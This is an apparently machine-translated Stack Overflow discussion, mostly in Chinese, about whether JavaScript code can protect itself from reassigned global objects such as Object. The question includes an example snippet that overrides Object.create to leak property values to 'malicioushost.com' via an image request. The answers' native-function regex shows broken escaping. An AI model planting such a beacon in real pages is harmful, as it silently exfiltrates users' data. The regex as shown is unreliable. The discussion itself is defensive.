在 JavaScript 中依赖全局本机对象是否安全,尤其是 Object 对象
Is it safe to rely on global native objects in JavaScript, particularly the Object one?
首先,我知道,依赖Array
构造函数通常是皱眉的,因为它可以被其他代码重新分配,这不是在严格模式下,而是应该使用数组文字[]
,在这种情况下,他总是依赖于本机的,真实的数组(还有一些其他含义,但这是主要的)
但是如何处理Object
呢?有一些方法(create
、freeze
等)只能通过Object
标识符访问。
我查看了AngularJS的源代码,发现作者依赖于这些对象(Object
,Function
)不会被重新分配的假设,所以我得出结论,没有更好的方法。但我想听听更有经验的人的意见。
所以问题是:如何保护自己的代码与其他JavaScript代码一起使用,免受重新分配的全局本机对象的影响?
更新
我的问题是关于安全问题的。因此,这是关于开发人员不能假设的情况:
- 如果重新分配了对象,则其他任何内容都无法正常工作,所以不用担心 站点
- 管理员将正确测试他在其站点中包含的内容
- 如果 Object 有一些方法并且它返回它所期望的,那么一切都很好
请以这种情况为例:
// the malicious code
var oldObj = Object,
Object = {
create: function(proto) {
var secretProps = 'http://malicioushost.com/?'
for (var prop in proto) {
secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
}
var secretImg = document.createElement('img')
secretImg.src = secretProps
document.body.appendChild(secretImg)
return oldObj.create.call(oldObj, proto)
}
}
// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})
这里的 Object.create 的行为与原始的完全一样
真诚地欣赏它。
首先,我知道,依赖 Array 构造函数通常是不受欢迎的,因为它可以被其他代码重新分配
不。Array
构造函数不受欢迎的原因是因为它比仅仅说[]
更冗长,而且界面令人困惑地不一致。(具体来说,如果x
是数字,则new Array(x).length
x
,对于任何其他类型1
......呃。
有一些库试图获取一些全局变量的自己的副本,以便在主机页面碰巧定义自己的变量Object
或undefined
时它们仍然可以工作,但它绝不是无懈可击的。
如何保护自己的代码与其他JavaScript代码一起使用,免受重新分配的全局本机对象的影响?
这不是一个可以解决的问题。JavaScript 没有提供足够的工具来建立有效的安全边界。几乎所有的对象、方法和属性都可以被破坏。
(无论如何,在语言层面上...使用浏览器,您可以使用跨域框架/沙盒、postMessage
等将代码保存在不同的上下文中。但是,如果用户与之交互的界面元素发生在受感染的顶级页面上,则仍然不太可能提供多大帮助。
我不确定语言规范说了什么,但从这个来看,我可能不会。但是,我还要说,如果有人以这种方式弄乱您的JavaScript环境,那么您就没有足够一致的环境来完成任何有价值的事情,因此担心它是不值得的。
var d,
origObj,
o1,
o2,
o3;
origObj = Object;
d = document.getElementById('objectorno');
d.innerHTML = Object;
o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;
Object = null;
d.innerHTML = d.innerHTML + '<br/><br/>' + Object;
o2 = {
aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;
try {
o3 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}
<div id="objectorno"></div>
如果您需要检查本机代码是否实际上是本机代码并且没有被覆盖,则可以在使用它们之前简单地检查它们:
function isFuncNative(f) {
return !!f && (typeof f).toLowerCase() == 'function'
&& (f === Function.prototype
|| /^'s*function's*('b[a-z$_][a-z0-9$_]*'b)*'s*'((|([a-z$_][a-z0-9$_]*)('s*,[a-z$_][a-z0-9$_]*)*)')'s*{'s*'[native code']'s*}'s*$/i.test(String(f)));
}
然后
if (isFuncNative(Object.create)){
// Use Object.create
} else {
alert("You naughty boy!");
}
- 如何检查数组中的对象是否等于选项值
- 测试对象是否相等和/或对象是否有更多的关键点,但仍然与共同的关键点相等
- 确定javascript中的html表对象是否具有<colgroup>是否
- 验证对象是否为null Javascript/Angularjs
- 如何通过json对象选项卡中的Id来检查对象是否存在
- jQuery-检测选择对象是否添加或删除了选项
- 检查对象是否是mongo游标
- Three.js-如何检查对象是否在球体后面(不可见)
- 检查对象是否基于jquery对象
- 在JSON项上循环,无论JSON对象是否具有多个数组
- 递归Javascript对象是否会导致任何问题(内存泄漏)
- Javascript如何确定两个对象是否相同
- 如何检查文字对象是否在 Javascript 数组中
- 检查对象是否已被推入数组 Js
- 变量/对象是否按值传递,为什么我不能在 javascript 中使用变量更改对象的属性
- JavaScript 如何检查包含数组的对象是否为空
- 嵌套对象是否被视为良好做法
- 在node.js/ssocket.io中,如何判断对象是否是套接字的实例
- 是否有跨浏览器和跨框架的方法来检查对象是否是HTML元素
- 有没有办法检查一个对象是否存在并且在一行中有一个子对象